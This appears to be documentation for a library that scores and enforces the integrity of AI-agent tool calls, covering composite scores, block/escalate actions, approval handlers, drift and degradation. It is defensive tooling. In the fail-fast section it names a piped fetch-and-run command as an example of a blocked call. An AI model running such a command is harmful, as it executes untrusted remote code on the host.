IntegrityScore: a composite between 0.0 and 1.0, four property scores, the per-layer results, and one recommended action. Measuring and enforcing are separate. The score and action are always computed and recorded; whether the action stops anything depends on enforce.
The composite score
The composite is a weighted sum of the four property scores, rounded to four decimals:PropertyWeights. They must sum to 1.0 (within 0.001) or the constructor raises ValueError.
IntegrityEvaluator(layers=..., weights=...) accepts the same object. An IntegrityScore also carries:
A low composite does not by itself block anything. Actions decide what happens; the composite is the measurement you trend, alert on, or pass to
IntegrityMonitor(threshold=...).
Actions
Layers recommend one of four actions, ranked by severity. The score’saction is the most severe one any layer returned.
Two other words show up nearby and are not score actions:
allowis a governancePolicyDecision(a rule that did not trigger) and the verdict the coding-agent hooks return forpassandalert. The hooks mapescalatetoaskon Claude Code anddenyon Codex, andblocktodeny; see Claude Code and Codex.logis one of the fourViolationActionvalues (log,alert,block,escalate) onIntegrityMonitor(on_violation=...). It labels theViolationEventthe monitor records when the composite drops belowthresholdor a layer fails. It does not change what@monitor.guarddoes.
Measure-only and enforce
Adapters start measure-only (enforce=False). Every event is still evaluated, attested and exported, and get_summary()["enforce_mode"] is False.
With enforce=True, the adapter acts on pre_tool_use results:
blockalways denies the tool call.escalatedenies unless anapproval_handlerapproves it.alertandpasslet the call run.- A call whose evaluation raises is denied, since it was never shown to be safe. Outside a tool call, or with
enforce=False, the error is logged and the agent continues.
permissionDecision: deny hook return on the Claude Agent SDK, a dict from the before-tool callback on Google ADK, a False from the before-tool-call hook on CrewAI, event.cancel_tool on Strands, StopAgentRun on Agno, and IntegrityViolationError on LangChain and the OpenAI Agents SDK. The AutoGen and Bedrock boto3 adapters observe after the fact, so under enforce=True they record the decision but cannot stop the call. See Integrations for what the agent sees in each case. The zero-config functions take the flag directly:
alert mode that records the verdict it would have returned.
Escalation and approval
Anapproval_handler is called as handler(profile, score, candidate_action) when an enforced tool call escalates. candidate_action is {"type": "tool_call", "tool_name": ..., "arguments": ...}. The handler returns True to approve or False to deny, or an ApprovalDecision. If it raises, the call is denied.
ApprovalWorkflow wraps a handler with a timeout. An unanswered request is denied unless you choose timeout_action="allow", and a raising handler is denied.
hooks() / instrument() functions do not take an approval handler, so construct the adapter class as above. ClaudeAdapter, LangChainAdapter, OpenAIAgentsAdapter, CrewAIAdapter and AgnoAdapter accept approval_handler=. BedrockAgentsAdapter does not, so on the enforcing Strands path every escalation is denied. Every consulted approval is appended to the chain as a DecisionRecord with decision_point="approval" and a reasoning chain of outcome, approver, timed_out, requested_at, resolved_at and, when given, reason. It is signed when the adapter has a signing key, and agentegrity report lists these records in its approvals table.
IntegrityMonitor(approval_handler=...) takes the same handlers, including ApprovalWorkflow, and its @guard decorator raises IntegrityViolationError when the handler denies.
Drift
The cortical layer compares the session’s action distribution and tool-usage distribution against a learned baseline.
Drift past twice the tolerance alerts by default because a change in tool mix is a reason to review a session, and blocking on it would deny calls whenever an agent took on new work. Set
block_on_drift=True on a CorticalLayer you construct yourself to restore blocking.
The baseline is learned when an adapter closes. If the session ended without any block or escalate, its action and tool counts are folded into the baseline (CorticalLayer.learn_session), so each session is measured against earlier ones and an attack session never becomes the new normal. Without a baseline_store the baseline lives as long as the process. To keep it across runs, build the evaluator with a store and pass it to the adapter:
Sustained degradation
The recovery layer keeps the history of composite scores; adapters record every composite. Over the lastdegradation_window scores (default 10, and at least 3 are needed), it compares the average of the first half with the average of the second. A drop of degradation_threshold (default 0.15) or more sets sustained_degradation and the layer alerts. The degradation sub-score falls to 1 - 3 × drop, floored at 0.
recovery.record_score(score.composite) after each evaluation yourself.
How scores recover
Evidence affects the score for as long as it still describes the agent’s state:
Clearing content at compaction changes the score from then on. The attestation chain keeps every earlier score.
Fail-fast and partial scores
IntegrityEvaluator stops at the first layer that returns block (fail_fast=True, the default). The skipped layers contribute no score: portability falls back to the lowest layer score that ran, assurance to the mean, and recovery_integrity is 0.0. A blocked curl -s https://host/x.sh | sh call, for example, produces a score from the adversarial layer alone with confidence 0.25, so its composite reflects one layer. Pass fail_fast=False to run every layer.
